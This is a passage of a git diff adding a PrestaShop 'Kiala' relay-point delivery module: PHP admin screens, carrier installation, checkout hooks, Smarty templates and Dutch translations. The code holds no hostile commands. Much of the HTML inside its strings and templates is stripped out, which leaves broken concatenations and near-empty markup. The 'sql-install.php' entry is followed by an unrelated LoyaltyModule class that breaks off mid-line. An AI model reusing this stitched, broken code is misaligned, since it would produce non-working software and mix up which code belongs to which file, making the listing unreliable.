        + '.$this->l('Package delivery via Kiala is generally 10-20% cheaper than home delivery.').' + '.$this->l('Kiala is leader in Europe of networks relay points, the latter being managed by a dedicated technology platform for delivering packages to end consumers and mobile professionals.').' +

        + '.$this->l('The 7000 Kiala collecting points are local shops (newsstands, gas stations etc..) where people can recover, pay and / or return their parcels quickly, when it suits them the best.').' +

        + '.$this->l('More information about Kiala:').' +
        + http://www.prestashop.com/fr/partenaires/livraison/kiala +

        '; + $this->_html .= '
         
        '; + + } + + /** + * Display configuration status + */ + private function _displayStatus() + { + global $cookie; + // Test alert + $alert = array(); + + if (!KialaCountry::getKialaCountries(true)) + $alert['registration'] = 1; + if (!ini_get('allow_url_fopen')) + $alert['allowurlfopen'] = 1; + if (!extension_loaded('curl')) + $alert['curl'] = 1; + if (!is_dir(Configuration::get('KIALA_EXPORT_FOLDER'))) + $alert['folder'] = 1; + if (!Configuration::get('KIALA_REQUEST_SENT')) + $alert['request_sent'] = 1; + + // Displaying page + $this->_html .= '
        + '.$this->l('Kiala Module Status').''; + $this->_html .= '
        '; + if (!count($alert)) + { + $this->_html .= ''.$this->l('Kiala Module is configured and online!').''; + $this->_html .= '

        '; + $this->_html .= $this->l('Click here to review and export orders shipped with Kiala').'

        '; + $this->_html .= '
        '.$this->l('Exported orders can then be imported into the Kiala Pack&Ship software, Keops. It will synchronize your orders with your Kiala account.').'
        '; + } + else + { + $this->_html .= ''.$this->l('Kiala Module is not configured yet, you must:').''; + $this->_html .= '
        '.(isset($alert['registration']) ? '' + : '').' 1) ' + .$this->l('Register an account with Kiala').' '.$this->l(' then configure and activate Kiala delivery for your country (see ').' '.$this->l('country settings').''.$this->l(')'); + $this->_html .= '
        '.(isset($alert['allowurlfopen']) ? '' : '').' 2) '.$this->l('Allow url fopen'); + $this->_html .= '
        '.(isset($alert['curl']) ? '' : '').' 3) '.$this->l('Enable cURL'); + $this->_html .= '
        '.(isset($alert['folder']) ? '' : '').' 4) '.$this->l('Set a valid export folder'); + + if (!$this->processAccountRequestForm()) + { + $errors = ''; + foreach ($this->account_request_form_errors as $error) + $errors .= $error.'
        '; + + $this->_html .= ' +
        '; + + if (strlen($errors) > 0) + $this->_html .= $this->displayError($errors); + + $this->_html .= ' +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + +
        +
        + '; + } + else + { + $this->displayConfirmFormAccountRequest(); + } + } + $this->_html .= '
        '; + $this->_html .= '
         
        '; + } + + private function displayConfirmFormAccountRequest() + { + Configuration::updateValue('KIALA_REQUEST_SENT', 1); + + $this->_html .= '

        '.$this->displayConfirmation($this->l('Your registration is effective. You will be contacted shortly.')).' + '; + } + + /** + * Display description + */ + private function _displayDescription() + { + $this->_html .= + '
        + '.$this->l('How to best integrate the Kiala option on the check-out page?').' +
        +
        + '.$this->l('As e-merchant, proposing the Kiala option often means proposing extra delivery choice while doing some savings on the delivery costs. As a consequence, it will be critical to properly position the Kiala delivery option on the check-out page in order to make this “delivery choice†visible and generate the expected savings. Applying the recommended Kiala positioning will allow to achieve a service penetration up to 3 times higher.'). + '

        '.$this->l('Key elements for a great positioning are:').'
        +
          +
        • '.$this->l('Kiala proposed as first choice in the list of delivery options').'
        • +
        • '.$this->l('The Kiala option is pre-clicked by default').'
        • +
        • '.$this->l('The Kiala option is proposed at a lower delivery charge than home delivery').'
        • +
        +
        +
        +
        +
        +
        + '.$this->l('Benefits of using the Kiala service').' +
        +
        + '.$this->l('Click here for details').'

        + +
        +
        '; + } + + /** + * Display the settings form + */ + private function _displayForm() + { + $this->_html .= '
        +
        + '.$this->l('Kiala advanced settings').' +
        +
        + +
        +
        +
        + + +
        +
        + + + + + +

        '.$this->l('If activated a Kiala export file will be created each time an order is passed.').'

        +
        +
        +
        + + + + + +
        +
        + +
        +
        +
        '; + } + + public function hookUpdateCarrier($params) + { + Configuration::updateValue('KIALA_CARRIER_ID', (int)($params['carrier']->id)); + } + + public static function installExternalCarrier($config) + { + $carrier = new Carrier(); + $carrier->name = $config['name']; + $carrier->id_tax = $config['id_tax']; + $carrier->active = $config['active']; + $carrier->deleted = $config['deleted']; + $carrier->delay = $config['delay']; + $carrier->shipping_handling = $config['shipping_handling']; + $carrier->range_behavior = $config['range_behavior']; + $carrier->is_module = $config['is_module']; + $carrier->shipping_external = $config['shipping_external']; + $carrier->external_module_name = $config['external_module_name']; + $carrier->need_range = $config['need_range']; + + $languages = Language::getLanguages(true); + foreach ($languages as $language) + { + if ($language['iso_code'] == 'fr') + $carrier->delay[(int)$language['id_lang']] = $config['delay'][$language['iso_code']]; + elseif ($language['iso_code'] == 'en') + $carrier->delay[(int)$language['id_lang']] = $config['delay'][$language['iso_code']]; + elseif ($language['iso_code'] == 'es') + $carrier->delay[(int)$language['id_lang']] = $config['delay'][$language['iso_code']]; + elseif (!isset($config['delay'][$language['iso_code']])) + $carrier->delay[(int)$language['id_lang']] = $config['delay']['en']; + } + + if($carrier->add()) + { + $groups = Group::getGroups(true); + foreach ($groups as $group) + Db::getInstance()->Execute('INSERT INTO `'._DB_PREFIX_.'carrier_group` VALUES (\''.(int)$carrier->id.'\',\''.(int)$group['id_group'].'\')'); + + $rangePrice = new RangePrice(); + $rangePrice->id_carrier = $carrier->id; + $rangePrice->delimiter1 = '0'; + $rangePrice->delimiter2 = '10000'; + $rangePrice->add(); + + $rangeWeight = new RangeWeight(); + $rangeWeight->id_carrier = $carrier->id; + $rangeWeight->delimiter1 = '0'; + $rangeWeight->delimiter2 = '15'; + $rangeWeight->add(); + + $id_zone = Zone::getIdByName('Europe'); + Db::getInstance()->Execute('INSERT INTO `'._DB_PREFIX_.'carrier_zone` VALUES (\''.(int)($carrier->id).'\',\''.(int)$id_zone.'\')'); + Db::getInstance()->Execute('INSERT INTO `'._DB_PREFIX_.'delivery` (`id_carrier`, `id_range_price`, `id_range_weight`, `id_zone`, `price`) + VALUES (\''.(int)($carrier->id).'\',\''.(int)($rangePrice->id).'\',NULL,\''.(int)$id_zone.'\',\''.(float)$config['price'].'\'), + (\''.(int)($carrier->id).'\',NULL,\''.(int)($rangeWeight->id).'\',\''.(int)$id_zone.'\',\''.(float)$config['price'].'\')'); + + Configuration::updateValue('KIALA_CARRIER_ID', (int)($carrier->id)); + //copy logo + if (!copy(dirname(__FILE__).'/carrier.jpg', _PS_SHIP_IMG_DIR_.'/'.(int)$carrier->id.'.jpg')) + return false; + return true; + } + else + return false; + } + + public function getOrderShippingCost($cart, $shipping_cost) + { + if (!$this->active || !$cart->id_address_delivery) + return false; + $address = new Address($cart->id_address_delivery); + $kiala_country = KialaCountry::getByIdCountry($address->id_country); + if (Validate::isLoadedObject($kiala_country) && $kiala_country->isActive()) + return $shipping_cost; + else + return false; + } + + public function getOrderShippingCostExternal($params) + { + return true; + } + + public function uninstall() + { + // Uninstall Carriers + $success = Db::getInstance()->autoExecute(_DB_PREFIX_.'carrier', array('deleted' => 1), 'UPDATE', '`external_module_name` = \'kiala\''); + + // Uninstall Config + $success &= Configuration::deleteByName('KIALA_VERSION') + && Configuration::deleteByName('KIALA_EXPORT_FOLDER') + && Configuration::deleteByName('KIALA_LAST_EXPORT_FILE') + && Configuration::deleteByName('KIALA_EXPORT_SINGLE') + && Configuration::deleteByName('KIALA_CARRIER_ID') + && Configuration::deleteByName('KIALA_SECURITY_TOKEN') + && Configuration::deleteByName('KIALA_SEARCH_BY'); + + // Uninstall SQL + include(dirname(__FILE__).'/sql-uninstall.php'); + foreach ($sql as $s) + if (!Db::getInstance()->Execute($s)) + $success = false; + + // Uninstall tab + $tab = new Tab(Tab::getIdFromClassName('AdminKiala')); + $success &= $tab->delete(); + + // Uninstall Module + $success &= parent::uninstall() + && $this->unregisterHook('updateCarrier') + && $this->unregisterHook('extraCarrier') + && $this->unregisterHook('newOrder'); + + return $success; + } + + /** + * When carriers are displayed add the Kiala block + * + * @param array $params + * @return string + */ + public function hookExtraCarrier($params) + { + global $smarty; + $cart = $params['cart']; + + // Cart::carrierIsSelected() added in version 1.5 + if (method_exists($cart, 'carrierIsSelected')) + if (!$cart->carrierIsSelected(Configuration::get('KIALA_CARRIER_ID'), $params['address']->id)) + return; + + if ($this->compatibility_mode) + $page_name = basename($_SERVER['PHP_SELF']); + else + { + if (Configuration::get('PS_ORDER_PROCESS_TYPE')) + $page_name = 'order-opc'; + else + $page_name = 'order'; + } + + if ($cart->id_carrier == Configuration::get('KIALA_CARRIER_ID')) + $content = $this->displayPoint($page_name); + + $smarty->assign(array( + 'kiala_module_dir' => _MODULE_DIR_.$this->name.'/', + 'kiala_carrier_id' => Configuration::get('KIALA_CARRIER_ID'), + 'kiala_content' => isset($content) ? $content : '', + 'kiala_token' => Configuration::get('KIALA_SECURITY_TOKEN'), + 'kiala_page_name' => Tools::safeOutput($page_name), + 'kiala_is_opc' => Configuration::get('PS_ORDER_PROCESS_TYPE'), + 'kiala_compatibility_mode' => $this->compatibility_mode + )); + + return $this->display(__FILE__, 'kiala.tpl'); + } + + /** + * Get the relevant Kiala Point and return the display block + * + * @param string $page_name name of the calling page + * @return string block to be displayed + */ + public function displayPoint($page_name) + { + global $smarty, $cart, $link; + if (!$point = $this->getPointFromPost()) + $point = $this->getPointFromWs(); + if (!$point) + return $this->l('No Kiala point was found'); + + $kiala_order = KialaOrder::getEmptyKialaOrder($cart->id); + $kiala_order->point_short_id = (string)$point->short_id; + $kiala_order->point_name = $point->name; + $kiala_order->point_street = $point->street; + $kiala_order->point_zip = $point->zip; + $kiala_order->point_city = $point->city; + $kiala_order->point_location_hint = $point->location_hint; + $kiala_order->id_cart = (int)$cart->id; + $kiala_order->save(); + + $address = new Address($cart->id_address_delivery); + $kiala_request = new KialaRequest(); + + $page_link = $link->getPageLink(strip_tags($page_name)).'?'; + + // Only for 5-steps checkout + if (!Configuration::get('PS_ORDER_PROCESS_TYPE')) + $page_link .= 'step=2'; + + $url = $kiala_request->getSearchRequest($address, $cart->id_lang, $page_link); + + $smarty->assign(array( + 'kiala_module_dir' => _MODULE_DIR_.$this->name.'/', + 'point' => $point, + 'search_link' => Tools::safeOutput($url), + 'id_customer' => (int)$cart->id_customer, + )); + + // Load a different TPL for version 1.4 + if ($this->compatibility_mode) + $point_tpl = 'point-1-4.tpl'; + else + $point_tpl = 'point.tpl'; + + return $this->display(__FILE__, $point_tpl); + } + + /** + * Return Kiala point filled with data from POST + * + * @return boolean|KialaPoint Kiala point or false + */ + public function getPointFromPost() + { + global $smarty, $cart; + if (!$short_id = Tools::getValue('shortkpid')) + return false; + $kiala_request = new KialaRequest(); + + $points = $kiala_request->getPointList($short_id); + $point = $points[0]; + if (isset ($point->short_id) && $point->short_id == $short_id) + { + $point->status = 'selection'; + return $point; + } + + return false; + } + + /** + * Return the Kiala point returned by the Kiala webservice + * + * @return boolean|KialaPoint Kiala point or false + */ + public function getPointFromWs() + { + global $smarty, $cart; + + $kiala_request = new KialaRequest(); + + // If the customer used Kiala before, get the latest point he selected + $existing_point = KialaOrder::getLatestByCustomer($cart->id_customer); + + if (Validate::isLoadedObject($existing_point)) + $points = $kiala_request->getPointList($existing_point->point_short_id); + else + $points = $kiala_request->getPointList(); + + if (!$points || !is_array($points)) + return false; + + // If the customer used a Kiala point before, is the point still available? + if (Validate::isLoadedObject($existing_point) && $points[0]->short_id == $existing_point->point_short_id) + { + if ($points[0]->available == "1") + { + $point = $points[0]; + $point->status = 'point_already_selected'; + } + elseif (count($points) == 2) + { + $point = $points[1]; + $point->status = 'point_unavailable'; + $smarty->assign('unavailable_point_name', Tools::safeOutput($points[0]->name)); + } + } + else + { + $point = $points[0]; + $point->status = 'new_point'; + } + + return $point; + } + + /** + * Each time a new order with Kiala delivery is passed, create the Kiala order in database + * + * @param array $params + */ + public function hookNewOrder($params) + { + // Get the kiala order created when the user selected a Kiala point + $kiala_order = KialaOrder::getEmptyKialaOrder($params['cart']->id); + + if (!Validate::isLoadedObject($kiala_order) || !$kiala_order->point_short_id) + return; + + // If the kiala carrier was selected at some point, but another carrier was the final choice, delete the uncomplete kiala order + if ($params['cart']->id_carrier != Configuration::get('KIALA_CARRIER_ID')) + { + $kiala_order->delete(); + return; + } + + $kiala_order->id_customer = $params['customer']->id; + $kiala_order->id_cart = $params['cart']->id; + $kiala_order->id_order = $params['order']->id; + + $kiala_country_pickup = KialaCountry::getPickupCountry(); + + $kiala_order->id_country_pickup = $kiala_country_pickup->id_country; + + // Get delivery country using the customer delivery address (not the kiala point address) + $delivery_address = new Address($params['order']->id_address_delivery); + $kiala_order->id_country_delivery = $delivery_address->id_country; + + // Create a new address with the Kiala point location + $point_address = new Address(); + $point_address->id_customer = $kiala_order->id_customer; + $point_address->id_country = $kiala_order->id_country_delivery; + // Set id_state in case the merchant added this field to the required fields list + $point_address->id_state = 0; + $point_address->lastname = $delivery_address->lastname; + $point_address->firstname = $delivery_address->firstname; + $point_address->address1 = substr($kiala_order->point_name.' - '.$kiala_order->point_street, 0, 128); + $point_address->postcode = $kiala_order->point_zip; + $point_address->city = $kiala_order->point_city; + $point_address->address2 = $kiala_order->point_location_hint; + $point_address->alias = 'Kiala point - '.date('d-m-Y'); + $point_address->deleted = true; + $point_address->save(); + + // Assign the kiala point address as delivery address in order + if ($point_address->id) + { + $order = $params['order']; + $order->id_address_delivery = $point_address->id; + $order->update(); + } + + if (Configuration::get('KIALA_EXPORT_SINGLE')) + { + $export = new ExportFormat($this); + $export->export($kiala_order); + $kiala_order->exported = 1; + } + $kiala_order->save(); + } + + /** + * Handle post data + */ + protected function _postProcess() + { + $errors = array(); + if (Tools::isSubmit('settings')) + { + if (isset($_POST['kialaFolder']) && is_dir(pSQL(str_replace('\\', '/', $_POST['kialaFolder'])))) + Configuration::updateValue('KIALA_EXPORT_FOLDER', pSQL(str_replace('\\', '/', $_POST['kialaFolder']))); + else + $errors[] = $this->l('Export folder cannot be located.'); + + Configuration::updateValue('KIALA_EXPORT_SINGLE', (int)Tools::getValue('kialaExportSingle')); + Configuration::updateValue('KIALA_NUMBER_PREFIX', Tools::getValue('kialaPrefix')); + Configuration::updateValue('KIALA_SEARCH_BY', Tools::getValue('kialaSearchBy')); + } + elseif (Tools::isSubmit('submitEditCountry')) + { + $kiala_country = new KialaCountry(Tools::getValue('id_kiala_country')); + if (Validate::isLoadedObject($kiala_country)) + { + if (Tools::getValue('dspid')) + $kiala_country->dspid = Tools::getValue('dspid'); + if (Tools::getValue('preparation_delay') && Validate::isUnsignedInt(Tools::getValue('preparation_delay'))) + $kiala_country->preparation_delay = (int)Tools::getValue('preparation_delay'); + else + $errors[] = $this->l('Preparation delay is not valid.'); + + $kiala_country->active = (int)Tools::getValue('kiala_active'); + $kiala_country->save(); + } + } + elseif (Tools::getValue('active_country') !== false && Tools::getValue('id_kiala_country')) + { + $kiala_country = new KialaCountry(Tools::getValue('id_kiala_country')); + if (Validate::isLoadedObject($kiala_country)) + { + $kiala_country->active = Tools::getValue('active_country') ? 1 : 0; + $kiala_country->save(); + } + else + $errors[] = $this->l('Invalid country.'); + } + + if (empty($errors)) + { + if (Tools::isSubmit('settings') || Tools::isSubmit('submitEditCountry') || Tools::getValue('active_country') !== false) + $this->_html .= '
        '.$this->l('Settings updated').'
        '; + } + else + foreach ($errors AS $err) + $this->_html .= '
        nok '.$err.'
        '; + } + + + /** + * Display the Kiala countries table + * + * @param array $countries array of arrays + * @param int $id_lang + */ + public function _displayCountries($countries, $id_lang) + { + $this->_html .= '
        +
        + '.$this->l('Country settings').' +
        '; + $this->_html .= '
        + + + + + + + + + + '; + + $irow = 0; + $base_url = 'index.php?tab='.Tools::getValue('tab').'&configure='.$this->name.'&token='.Tools::getAdminTokenLite('AdminModules').'&tab_module='.Tools::safeOutput(Tools::getValue('tab_module')).'&module_name='.Tools::safeOutput(Tools::getValue('module_name')); + foreach ($countries as $country) + { + $country_name = Country::getNameById($id_lang, $country['id_country']); + if (Country::getIsoById($country['id_country']) == 'BE') + { + $luxemburg = new Country(Country::getByIso('LU'), $id_lang); + $country_name .= ' / '.$luxemburg->name; + } + $active_url = Tools::safeOutput($base_url.'&active_country='.($country['active'] ? '0' : '1').'&id_kiala_country='.(int)$country['id_kiala_country']); + + $this->_html .= ' + + + + + + + '; + } + $this->_html .= ' + +
        '.$this->l('Country').''.$this->l('User ID').''.$this->l('Preparation delay (days)').''.$this->l('Active').''.$this->l('Edit').'
        '.Tools::safeOutput($country_name).''.Tools::safeOutput($country['dspid']).''.(int)$country['preparation_delay'].' + + '.($country['active'] ? $this->l('Enabled') : $this->l('Disabled')).' + + + +
        +

        '; + } + + /** + * Display order tracking info + * + * @param array $params (order, cart) + * @return string template rendering + */ + public function hookOrderDetailDisplayed($params) + { + global $smarty; + + $kiala_order = KialaOrder::getByOrder($params['order']->id); + if (!Validate::isLoadedObject($kiala_order)) + return false; + $address = new Address($params['order']->id_address_delivery); + $kiala_country = KialaCountry::getByIdCountry($address->id_country); + $search_by = Configuration::get('KIALA_SEARCH_BY'); + + if ($search_by == 'customer') + $id = $kiala_order->id_customer; + elseif ($search_by == 'order') + $id = Configuration::get('KIALA_NUMBER_PREFIX').$kiala_order->id; + else + return false; + + $kiala_request = new KialaRequest(); + $url = $kiala_request->getTrackingRequest($address, $kiala_country, $params['order']->id_lang, $id, $search_by); + + $smarty->assign('url_tracking', Tools::safeOutput($url)); + return $this->display(__FILE__, 'orderDetail.tpl'); + } + + /** + * Display edit country settings page + * + * @param int $id_kiala_country + * @return string + */ + function _displayEditCountry($id_kiala_country) + { + global $cookie; + $kiala_country = new KialaCountry($id_kiala_country); + return ' +
        +
        + '.Country::getNameById($cookie->id_lang, $kiala_country->id_country).'
        + +
        + +
        + +
        + +
        + +
        + active ? 'checked="checked" ' : '').'/> + + active ? 'checked="checked" ' : '').'/> + +

        '.$this->l('If not active Kiala will not be available for customers of this country').'

        +
        + +
        + +
        +
        * '.$this->l('Required field').'
        +
        +
        +

        '.$this->l('Back to list').'
        '; + } +} diff --git a/modules/kiala/kiala.tpl b/modules/kiala/kiala.tpl new file mode 100755 index 0000000..f1918e3 --- /dev/null +++ b/modules/kiala/kiala.tpl @@ -0,0 +1,49 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + + +{if $kiala_compatibility_mode} + +{/if} + +{$kiala_content} diff --git a/modules/kiala/logo.gif b/modules/kiala/logo.gif new file mode 100755 index 0000000..07fdef6 Binary files /dev/null and b/modules/kiala/logo.gif differ diff --git a/modules/kiala/logo.png b/modules/kiala/logo.png new file mode 100755 index 0000000..8f8d9e9 Binary files /dev/null and b/modules/kiala/logo.png differ diff --git a/modules/kiala/map.css b/modules/kiala/map.css new file mode 100755 index 0000000..76f1663 --- /dev/null +++ b/modules/kiala/map.css @@ -0,0 +1,2 @@ +font-weight:bold; +background:#888888; \ No newline at end of file diff --git a/modules/kiala/nl.php b/modules/kiala/nl.php new file mode 100755 index 0000000..4274e9a --- /dev/null +++ b/modules/kiala/nl.php @@ -0,0 +1,15 @@ +point_0d6179df2b8bf69b27e456c879c46166'] = ' U bent meestal niet thuis als de bezorger langskomt? U laat uw pakket liever niet bij de buren leveren? Kiala biedt u de ideale oplossing. U haalt uw pakje gewoon zelf op waar en wanneer dit u het beste uitkomt.'; +$_MODULE['<{kiala}prestashop>point_99872952206ca8fe5431b821e4e0f2c0'] = 'Uw pakket vlakbij geleverd'; +$_MODULE['<{kiala}prestashop>point_a6f674579ba34ba75deaf6a4f88c65e2'] = 'Kiala Punten vindt u overal (supermarkten, krantenwinkels, tankstations). Bij u om de hoek, vlakbij uw werk of de school van uw kinderen.'; +$_MODULE['<{kiala}prestashop>point_56f1eec4895a5d2e46ebc63692f68874'] = 'Ruime en flexibele openingsuren'; +$_MODULE['<{kiala}prestashop>point_8b91d0379f62529dde8d7b1b614e671f'] = '’s Ochtends vroeg, ’s middags, ’s avonds laat tot 19 of 20 uur, zaterdag en soms zelfs zondag: u haalt uw pakket op waar en wanneer u het het beste uitkomt.'; +$_MODULE['<{kiala}prestashop>point_eb0d50e5589c77f7ce33aa82629fcd4d'] = 'U krijgt meteen bericht'; +$_MODULE['<{kiala}prestashop>point_54302d88d8c0c0cab9664c7f47171971'] = 'Is uw pakje binnen? U weet het meteen. Kiala informeert u per e-mail, sms of telefoon. Via de Kiala website kunt u ook uw pakket op ieder moment op de voet volgen.'; +$_MODULE['<{kiala}prestashop>point_6a9f7e6d6ecf823ea8c6c2443f480888'] = 'Extra veiligheid'; +$_MODULE['<{kiala}prestashop>point_193f44cfc5d63ad30662b4f02e76c63d'] = 'Een identiteitsbewijs wordt altijd gevraagd. U tekent op de Kiala terminal bij ontvangst van uw pakket.'; +$_MODULE['<{kiala}prestashop>point_e16b5b7f26f54214445cbe38d72c2828'] = 'Snel'; +$_MODULE['<{kiala}prestashop>point_8d5d5d5e14bb0fee2d100ea7d98bedb8'] = 'In no time ligt uw pakje klaar. U kunt het zo gaan ophalen, zonder te wachten in ellenlange rijen en zonder stress.'; diff --git a/modules/kiala/orderDetail.tpl b/modules/kiala/orderDetail.tpl new file mode 100755 index 0000000..a14711e --- /dev/null +++ b/modules/kiala/orderDetail.tpl @@ -0,0 +1,29 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + +{if $url_tracking} +

        {l s='Your order is being delivered by Kiala.' mod='kiala'}

        + {l s='Click here to track your order' mod='kiala'} +{/if} diff --git a/modules/kiala/point-1-4.tpl b/modules/kiala/point-1-4.tpl new file mode 100755 index 0000000..2696eec --- /dev/null +++ b/modules/kiala/point-1-4.tpl @@ -0,0 +1,79 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} + + +

        {l s='Kiala point' mod='kiala'}

        +
        + {l s='You have selected a parcel delivery to a Kiala point. Kiala allows parcels to be delivered to close by shops with wide opening hours and no waiting lines.' mod='kiala'} + {l s='(More info...)' mod='kiala'} +

        + {if $point->status == "new_point"} + {l s='Based on your address, we recommend this Kiala Point:' mod='kiala'} + {elseif $point->status == "selection"} + {l s='You selected this Kiala Point:' mod='kiala'} + {elseif $point->status == "point_already_selected"} +
        {l s='Kiala Point you selected for your last order:' mod='kiala'}
        + {elseif $point->status == "point_unavailable"} +
        {l s='We apologize but the Kiala Point' mod='kiala'} {if isset($unavailable_point_name)}"{$unavailable_point_name|escape:'htmlall':'UTF-8'}" {/if}{l s=' that you selected for your last order is currently unavailable.' mod='kiala'}
        + {/if} +
        + {if $point->picture} +
        {$point->name|escape:'htmlall':'UTF-8'}
        + {else} +
        {$point->name|escape:'htmlall':'UTF-8'}
        + {/if} +
        + {$point->name|escape:'htmlall':'UTF-8'} +
        + {$point->street|escape:'htmlall':'UTF-8'} +
        + {$point->zip|escape:'htmlall':'UTF-8'} + {$point->city|escape:'htmlall':'UTF-8'} +
        + {$point->location_hint|escape:'htmlall':'UTF-8'} +
        +
        +
        + {l s='You can select another Kiala point on the map below:' mod='kiala'} + + + + + + diff --git a/modules/kiala/point.tpl b/modules/kiala/point.tpl new file mode 100755 index 0000000..1a46ae5 --- /dev/null +++ b/modules/kiala/point.tpl @@ -0,0 +1,78 @@ +{* +* 2007-2011 PrestaShop +* +* NOTICE OF LICENSE +* +* This source file is subject to the Academic Free License (AFL 3.0) +* that is bundled with this package in the file LICENSE.txt. +* It is also available through the world-wide-web at this URL: +* http://opensource.org/licenses/afl-3.0.php +* If you did not receive a copy of the license and are unable to +* obtain it through the world-wide-web, please send an email +* to license@prestashop.com so we can send you a copy immediately. +* +* DISCLAIMER +* +* Do not edit or add to this file if you wish to upgrade PrestaShop to newer +* versions in the future. If you wish to customize PrestaShop for your +* needs please refer to http://www.prestashop.com for more information. +* +* @author PrestaShop SA +* @copyright 2007-2011 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*} +
        +

        {l s='Kiala point' mod='kiala'}

        +
        + {l s='You have selected a parcel delivery to a Kiala point. Kiala allows parcels to be delivered to close by shops with wide opening hours and no waiting lines.' mod='kiala'} + {l s='(More info...)' mod='kiala'} +

        + {if $point->status == "new_point"} + {l s='Based on your address, we recommend this Kiala Point:' mod='kiala'} + {elseif $point->status == "selection"} + {l s='You selected this Kiala Point:' mod='kiala'} + {elseif $point->status == "point_already_selected"} +
        {l s='Kiala Point you selected for your last order:' mod='kiala'}
        + {elseif $point->status == "point_unavailable"} +
        {l s='We apologize but the Kiala Point' mod='kiala'} {if isset($unavailable_point_name)}"{$unavailable_point_name|escape:'htmlall':'UTF-8'}" {/if}{l s=' that you selected for your last order is currently unavailable.' mod='kiala'}
        + {/if} +
        + {if $point->picture} +
        {$point->name|escape:'htmlall':'UTF-8'}
        + {else} +
        {$point->name|escape:'htmlall':'UTF-8'}
        + {/if} +
        + {$point->name|escape:'htmlall':'UTF-8'} +
        + {$point->street|escape:'htmlall':'UTF-8'} +
        + {$point->zip|escape:'htmlall':'UTF-8'} + {$point->city|escape:'htmlall':'UTF-8'} +
        + {$point->location_hint|escape:'htmlall':'UTF-8'} +
        +
        +
        + {l s='You can select another Kiala point on the map below:' mod='kiala'} + + +
        +
        + + diff --git a/modules/kiala/sql-install.php b/modules/kiala/sql-install.php new file mode 100755 index 0000000..57bff27 --- /dev/null +++ b/modules/kiala/sql-install.php @@ -0,0 +1,37 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/afl-3.0.php Academic Free License (AFL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +if (!defined('_PS_VERSION_')) + exit; + +class LoyaltyModule extends ObjectModel +{ + public $id_loyalty_state; + public $id_customer; + public $id_order; + public $id_cart_rule; + public $points; + public $date_add; + public $date_upd; + + /** + * @see ObjectModel::$definition + */ + public static $definition = array( + 'table' => 'loyalty', + 'primary' => 'id_loyalty', + 'fields' => array( + 'id_loyalty_state' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_customer' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'id_order' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'id_cart_rule' => array('type' => self::TYPE_INT, 'validate' => 'isInt'), + 'points' => array('type' => self::TYPE_INT, 'validate' => 'isInt', 'required' => true), + 'date_add' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + 'date_upd' => array('type' => self::TYPE_DATE, 'validate' => 'isDate'), + ) + ); + + public function save($nullValues = false, $autodate = true) + { + parent::save($nullValues, $autodate); + $this->historize(); + } + + public static function getByOrderId($id_order) + { + if (!Validate::isUnsignedId($id_order)) + return false; + + $result = Db::getInstance()->getRow(' + SELECT f.id_loyalty + FROM `'._DB_PREFIX_.'loyalty` f + WHERE f.id_order = '.(int)($id_order)); + + return isset($result['id_loyalty']) ? $result['id_loyalty'] : false; + } + + public static function getOrderNbPoints($order) + { + if (!Validate::isLoadedObject($order)) + return false; + return self::getCartNbPoints(new Cart((int)$order->id_cart)); + } + + public static function getCartNbPoints($cart, $newProduct = NULL) + { + $total = 0; + if (Validate::isLoadedObject($cart)) + { + $context = Context::getContext(); + $context->cart = $cart; + $context->customer = new Customer($context->cart->id_customer); + $context->language = new Language($context->cart->id_lang); + $context->shop = new Shop($context->cart->id_shop); + $context->currency = new Currency($context->cart->id_currency, null, $context->shop->id); + + $cartProducts = $cart->getProducts(); + $taxesEnabled = Product::getTaxCalculationMethod(); + if (isset($newProduct) AND !empty($newProduct)) + { + $cartProductsNew['id_product'] = (int)$newProduct->id; + if ($taxesEnabled == PS_TAX_EXC) + $cartProductsNew['price'] = number_format($newProduct->getPrice(false, (int)$newProduct->getDefaultIdProductAttribute()), 2, '.', ''); + else + $cartProductsNew['price_wt'] = number_format($newProduct->getPrice(true, 